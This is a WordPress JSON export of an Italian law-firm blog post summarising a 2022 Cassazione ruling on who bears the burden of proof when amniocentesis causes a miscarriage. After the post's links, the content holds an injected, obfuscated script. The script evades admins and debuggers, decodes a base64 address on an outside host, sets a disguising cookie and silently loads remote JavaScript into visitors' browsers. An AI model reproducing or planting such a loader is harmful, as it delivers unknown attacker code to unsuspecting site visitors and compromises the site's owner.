{"id":27859,"date":"2022-05-02T13:21:03","date_gmt":"2022-05-02T13:21:03","guid":{"rendered":"https:\/\/www.dimariamalasanita.it\/?p=27859"},"modified":"2026-04-15T05:28:10","modified_gmt":"2026-04-15T05:28:10","slug":"aborto-da-amniocentesi-lesatto-adempimento-deve-essere-provato-dal-medico","status":"publish","type":"post","link":"https:\/\/www.dimariamalasanita.it\/?p=27859","title":{"rendered":"Aborto da amniocentesi: l\u2019esatto adempimento deve essere provato dal medico"},"content":{"rendered":"<p><strong>Aborto da amniocentesi: l\u2019esatto adempimento deve essere provato dal medico.<br \/>\n<\/strong>Nel giudizio di responsabilit\u00e0 medica il punto centrale \u00e8 rappresentato dal nesso causale tra il danno lamentato dal paziente e l\u2019omissione del sanitario.<\/p>\n<p>Il soggetto leso deve dimostrare la relazione tra la condotta del medico e il danno subito, mentre il professionista e\/o la struttura sanitaria, dove quest\u2019ultimo abbia posto in essere l\u2019attivit\u00e0 professionale, per andare esenti da responsabilit\u00e0 devono dimostrare di aver eseguito la prestazione correttamente, o che il danno non si sia verificato o ancora che l\u2019inadempimento sia stato determinato da una causa imprevedibile o inevitabile della prestazione sanitaria.<\/p>\n<p>La Cassazione con la sentenza n. 10050 del 29 marzo 2022 ribadisce, ancora una volta, che nelle obbligazioni professionali spetta al sanitario fornire la prova di aver agito con diligenza e prudenza, in ossequio alle linee guida.<\/p>\n<h3>Nel caso di specie, gli attori avevano citato in giudizio il medico e la struttura in cui quest\u2019ultimo operava, perch\u00e9 il sanitario aveva eseguito una prestazione (amniocentesi) in modo imprudente, tanto da aver provocato l\u2019aborto del feto.<\/h3>\n<p>In particolare, veniva precisato che nell\u2019effettuare l\u2019amniocentesi, cio\u00e8, un esame in cui viene prelevato una piccola quantit\u00e0 di liquido amniotico (liquido che circonda e protegge il feto nell\u2019utero) per analizzarlo in laboratorio e accertare la presenza, o meno, di eventuali anomalie o malattie genetiche, il dottore aveva cagionato la morte del bambino.<\/p>\n<p>I ricorrenti, inoltre, avevano presentato una domanda di risarcimento per il danno non patrimoniale derivante dalla perdita del bambino nonch\u00e9 per il danno biologico riportato dalla gestante.<\/p>\n<p>Il Tribunale, adito, accoglieva la domanda presentata dagli attori.<\/p>\n<p>Veniva proposto appello.<\/p>\n<p>Senza affrontare nello specifico tutta la fase del giudizio, \u00e8 sufficiente affermare che la Suprema Corte ribadisce che nei casi di responsabilit\u00e0 medica di natura contrattuale, il paziente non deve dimostrare l\u2019inadempimento o la corretta esecuzione della prestazione, perch\u00e9 questa prova liberatoria e discolpante spetta al debitore.<\/p>\n<p>La Corte di Cassazione ha riconfermato che il creditore deve provare il nesso di casualit\u00e0 tra la condotta del medico e l\u2019evento dannoso (in questo caso aborto del feto), mentre il debitore deve dimostrare di aver effettuato la prestazione a regola d\u2019arte con la diligenza e la prudenza richiesta nel caso concreto o che l\u2019inesatto adempimento sia stato determinato da una causa imprevedibile e non imputabile ad esso.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Dott. Luigi Pin\u00f2<\/strong><\/p>\n<hr \/>\n<ul>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/flash-news\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione flash news<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/blog\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione blog<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/contatti\/\" target=\"_blank\" rel=\"noopener\">Contattaci per avere pi\u00f9 info<\/a><\/li>\n<\/ul>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Aborto da amniocentesi: l\u2019esatto adempimento deve essere provato dal medico. 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